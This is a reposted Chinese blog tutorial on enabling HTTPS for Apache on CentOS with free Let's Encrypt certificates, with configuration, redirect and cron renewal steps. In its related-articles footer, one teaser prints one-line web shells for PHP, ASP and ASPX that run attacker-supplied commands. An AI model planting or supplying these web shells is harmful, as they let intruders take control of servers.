CentOS+Apache使用免费SSL证书实现https网站

news/2024/5/10 1:17:52/文章来源:https://blog.csdn.net/weixin_33962621/article/details/91980780

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

以下为centos6.4下配置使用流程

1. 环境,httpd等配置略

yum 安装openssl和openssl-devel,httpd-devel

sudo yum install openssl

sudo yum install openssl-devel

sudo yum install httpd-devel

 

为apache安装配置mod_ssl和mod_wsgi

sudo yum -y install mod_ssl

sudo yum -y install mod_wsgi

(注意,通过以上方式,yum会自动配置好并引用mod_ssl的相关conf,无需在http.conf文件之中另外引用)

 

 

2. 使用xdtianyu童鞋编写的脚本(网址https://github.com/xdtianyu/scripts/blob/master/lets-encrypt/README-CN.md)自动生成Let's Encrypt(https://letsencrypt.org)的免费SSL证书:

sudo wget https://raw.githubusercontent.com/xdtianyu/scripts/master/lets-encrypt/letsencrypt.conf
sudo wget https://raw.githubusercontent.com/xdtianyu/scripts/master/lets-encrypt/letsencrypt.sh
sudo chmod +x letsencrypt.sh

 

修改letsencrypt.conf配置文件

ACCOUNT_KEY="letsencrypt-account.key"
DOMAIN_KEY="example.com.key"
DOMAIN_DIR="/var/www/example.com"
DOMAINS="DNS:example.com,DNS:whatever.example.com"
#ECC=TRUE
#LIGHTTPD=TRUE

 

 

将其中的example.com改为你的域名,将DIR之中的目录改为你的首页所在目录,确保此时可以通过example.com正常访问到你的网站(因为之后生成证书的时候需要通过域名访问你的网站,如果无法访问,证书会报错)

然后生成证书:

sudo ./letsencrypt.sh letsencrypt.conf

会生成一堆文件,其中要用到的是:

example.chained.crt
example.com.key

 

3. 修改http.conf

找到“<Directory”  ,把 AllowOverride None改为 AllowOverride All

添加NameVirtualHost *:443

添加如下的段:

<VirtualHost _default_:443>
DocumentRoot “/path/to/html/example.com"
Servername https://example.com/
SSLEngine on
SSLCertificateFile /path/to/cert/example.chained.crt
SSLCertificateKeyFile /path/to/cert/example.com.key
</VirtualHost>

 

重启apache:

sudo service httpd restart

 

此时可以通过https://example.com访问网站,并且地址栏左边会出现绿色小锁头,表示ssl证书已经配置成功。

 

4. 配置跳转

如果需要输入http://example.com之后自动跳转到https://example.com

要在/path/to/html/example.com目录下,添加.htaccess文件,在其中添加如下内容:

RewriteEngine on
RewriteBase /
RewriteCond %{SERVER_PORT} !^443$
RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [L,R]

 

此时访问http://example.com即可自动跳转到https://example.com

 

5.定期更新Let's Encrypt的免费ssl证书:

设置一个cron命令每月执行第二步之中的生成证书命令:

0 0 1 * * /path/to/letsencrypt.sh /path/to/letsencrypt.conf >> /var/log/lets-encrypt.log 2>&1

(上述命令会在/path/to/目录下生产全部的ssl证书文件)

再加一条apache的reload指令,让ssl证书生效

0 0 1 * * service httpd reload

 

6.安全起见,在httpd.conf里加一条禁止通过ip访问的规则

<VirtualHost *:80>
ServerName xx.xx.xx.x
<Location />
        Order Allow,Deny
        Deny from all
</Location>
</VirtualHost>

 

 

7. 最后注意一点,let's encrypt目前还不支持通配符ssl证书,只支持单域名证书,例如你申请了www.hello.com的证书,那么该证书对info.hello.com是无效的,需要另申请一个info.hello.com的ssl证书

转载于:https://my.oschina.net/u/150705/blog/1585968

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_756341.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SEO优化之——html页面优化技巧总结

网页总体布局 如图所示为一个简单的网站布局&#xff0c;主要有标题、导航、面包屑导航、正文、相关文章、友情链接 标题网站标题通常分为主标题和副标题&#xff0c;主标题是体显网站内容最主要的关键词&#xff0c;副标题是对主标题的补充说明&#xff0c;描述尽量相关&#…

SharePoint Online 设置网站集

前言 本文介绍如何在Office 365中设置SharePoint Online网站集&#xff0c;当我们创建好SharePoint Online站点&#xff0c;开始使用之前&#xff0c;一定会有一些基本的设置&#xff0c;本文就为大家介绍这些基本的设置。 正文 通过登录地址登录到Office 365环境中的SharePoin…

WORDPRESS创建个人网站

环境&#xff1a;虚拟机vmware,windows server2008R2企业版&#xff0c;XAMPP,wordpress 在阿里云优惠购买了域名和主机&#xff0c;就想自己搞一个网站玩玩。花了一个小时左右时间&#xff0c;发现出现最多的词是wordpress,传说中5秒建站。。。我当然是相信了&#xff0c;先官…

支持中英文多语言浏览的MVC网站实例

思路大概是这样的&#xff0c;将翻译成不同语言的词句以xml键值对的格式分别存在不同文件夹下&#xff0c;扩展MVC HtmlHelper, 在扩展方法里根据用户当前访问Action所在的路径以及当前所选的语言类型读取语言文件夹下的xml文件&#xff0c;再通过HtmlHelper传过来的key获取对应…

阿里云系列——3.企业网站备案步骤---2018-1-4

网站部署之~阿里云系列汇总 http://www.cnblogs.com/dunitian/p/4958462.html 个人网站备案&#xff1a;http://www.cnblogs.com/dunitian/p/4958268.html 先说企业的域名实名认证&#xff1a;一张图就ok了 说下步骤&#xff0c;其实和个人差不多&#xff0c;简单过下吧 1.填写…

react + node + express + ant + mongodb 的简洁兼时尚的博客网站

前言 此项目是用于构建博客网站的&#xff0c;由三部分组成&#xff0c;包含前台展示、管理后台和后端。 此项目是基于 react node express ant mongodb 的&#xff0c;项目已经开源&#xff0c;项目地址在 github 上&#xff0c;喜欢的&#xff0c;欢迎给个 star 。 项目地…

ASP.NET网站部署问题集

这几天为了给客户演示我们的项目&#xff0c;发现原来程度在开发环境和部署环境中还不太一样&#xff0c;原本在开发环境中程度运行的好好的&#xff0c;而部署后装在服务器则可能产生不少的错误。因此记录下所遇到的问题&#xff0c;方便以后查询同时也希望能帮遇到相关问题的…

大型网站系统架构演化之路

大型网站系统架构演化之路 前言 一个成熟的大型网站&#xff08;如淘宝、天猫、腾讯等&#xff09;的系统架构并不是一开始设计时就具备完整的高性能、高可用、高伸缩等特性的&#xff0c;它是随着用户量的增加&#xff0c;业务功能 的 扩展逐渐演变完善的&#xff0c;在这个过…

接入高防之后网站问题需要排查的有哪些?

接入高防之后&#xff0c;为了保证业务最大程度的稳定&#xff0c;确认问题所在&#xff0c;墨者安全建议在切换本地的测试。本地测试步骤为&#xff1a;a.首先修改本地hosts文件&#xff0c;使本地对于被防护站点的请求经过高防&#xff0c;以Windows操作系统为例&#xff1a;…

利用jsonp抓取某网站数据详细示例

一、使用chrome浏览器自带web开发工具(F12,也可以使用fildder等工具)&#xff0c;找到请求的地址 这里的request url 就是我们需要请求的地址 然后点击response会发现返回的数据格式&#xff0c; 二、 新建html页面,代码如下 <!DOCTYPE html> <html> <head>&…

Ajax_实现动态网站的技术、php语法、php接口、前端渲染和后端渲染

1、实现动态网站的技术&#xff08;后端语言&#xff09; php、java&#xff08;jsp和php语言差不多&#xff09;、.net、Nodejs、python。。。 最简单的是学php 2、php基本语法  js中 js代码用script包起来&#xff0c;php中用<?php ?>包起来后&#xff0c;可以放…

《Linux就该这么学》第10章 使用Apache服务部署静态网站

《Linux就该这么学》! 学习网址&#xff1a;https://www.linuxprobe.com/ 灰常不错的网站和学习课程~~~! 第10章 使用Apache服务部署静态网站 网站服务&#xff1a;通过浏览器访问服务器&#xff0c;传送10.1 网站服务程序 目前能够提供Web网络服务的程序有IIS、Nginx和Apache等…

今天分享几个牛逼的网站,不知道你用过没?

点击蓝色字关注我们&#xff01;一个正在努力变强的公众号今天给各位小伙伴推荐几个我经常使用的网站&#xff0c;这些网站可以节省大家许多的时间&#xff0c;增大大家的工作效率。&#xff08;也没给我广告费&#xff0c;纯属分享&#xff09;1 Iconfonthttps://www.iconfont…

收藏!这段时间又发现了几个提高效率的网站!

前面写过一篇推荐网站的文章(今天分享几个牛逼的网站&#xff0c;不知道你用过没&#xff1f;)&#xff0c;感觉反响还不错。这段时间又发现了几个比较牛逼的网站&#xff0c;分享给大家&#xff0c;让大家的工作效率更高。马可菠萝https://www.macbl.com/前段时间用上了MAC系统…

自己如何开发一个B站视频下载网站?

点击上方“Python进击者”&#xff0c;关注我&#xff01;坚持初心&#xff0c;坚持原创前言hello&#xff0c;各位小伙伴&#xff0c;这是公众号改名后的第一篇原创。不管改不改名&#xff0c;我都是会坚持初心&#xff0c;记录技术&#xff0c;不搞虚的&#xff0c;希望大家能…

那些X音无水印视频下载网站怎么实现的?

点击上方“Python进击者”&#xff0c;选择“星标”公众号重磅干货&#xff0c;第一时间送达前言看到很多朋友都在用网上一些某音无水印下载&#xff0c;作为程序员&#xff0c;咱们自己来整一个。今天咱们来说说某音无水印下载的思路&#xff0c;没有为什么&#xff0c;直接往…

我收藏夹里五个贼好用的网站分享给你了

点击上方“Python进击者”&#xff0c;选择“星标”公众号重磅干货&#xff0c;第一时间送达前言各位小伙伴大家好&#xff0c;今天又来分享一波自己收藏的超好用的网站&#xff0c;之前写过两期实用网站分享&#xff0c;感觉反馈都不错。今天抽空再来跟大家分享一波&#xff0…

五个吊炸天的网站

点击上方“Python进击者”&#xff0c;选择“星标”公众号超级无敌干货推送给你&#xff01;&#xff01;Python进击者第185篇原创文章前言 大家好&#xff0c;我是Kuls。 很久没来给大家分享一些牛逼的网站了&#xff0c;今天来给大家推荐一波。如果之前的好站分享没看过&…

其他工具网站收集

Unsplash.it – 图片占位符&#xff0c;支持个性化 Unsplash.it 是一个使用漂亮的图像作为占位符的工具。只要把你的图像尺寸&#xff08;宽与高&#xff09;放到网址后面的参数中&#xff0c;你会得到一个占位符。你可以很容易地得到一个随机图像或者是一个模糊图像。也支持获…

利用网站上传漏洞使用一句话木马控制服务器

一句话木马 常用于php、asp、aspx php <?php echo shell_exec($_GET[cmd]);?> asp <%execute(request("value"))%> aspx <% Page Language"Jscript"%> <%eval(Request.Item["value"])%> jsp 无回显执行系统命令 <%…